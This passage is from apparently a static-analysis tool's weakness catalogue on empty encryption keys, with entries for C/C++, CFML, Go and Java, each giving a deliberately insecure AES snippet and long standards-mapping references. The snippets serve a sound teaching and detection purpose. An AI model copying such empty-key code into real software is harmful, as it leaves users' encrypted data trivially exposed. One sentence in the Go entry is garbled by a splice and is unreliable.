[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key. Not only does using an empty encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses an empty encryption key:


...
char encryptionKey[] = "";
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


	...
	<cfset encryptionKey = "" />
	<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
	...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, changing the empty encryption key requires a software patch. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


...
key := []byte("");
block, err := aes.NewCipher(key)
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, changing the empty encryption key requires a software patch, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_encryption_key
Abstract
Empty encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty encryption key because it significantly reduces the protection afforded by a good encryption algorithm, and it also makes fixing the problem extremely difficult. After the offending code is in production, the empty encryption key cannot be changed without patching the software. If an account that is protected by the empty encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code performs AES encryption using an empty encryption key:


...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Not only will anyone who has access to the code be able to determine that it uses an empty encryption key, but anyone with even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the application has shipped, a software patch is required to change the empty encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty encryption key.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
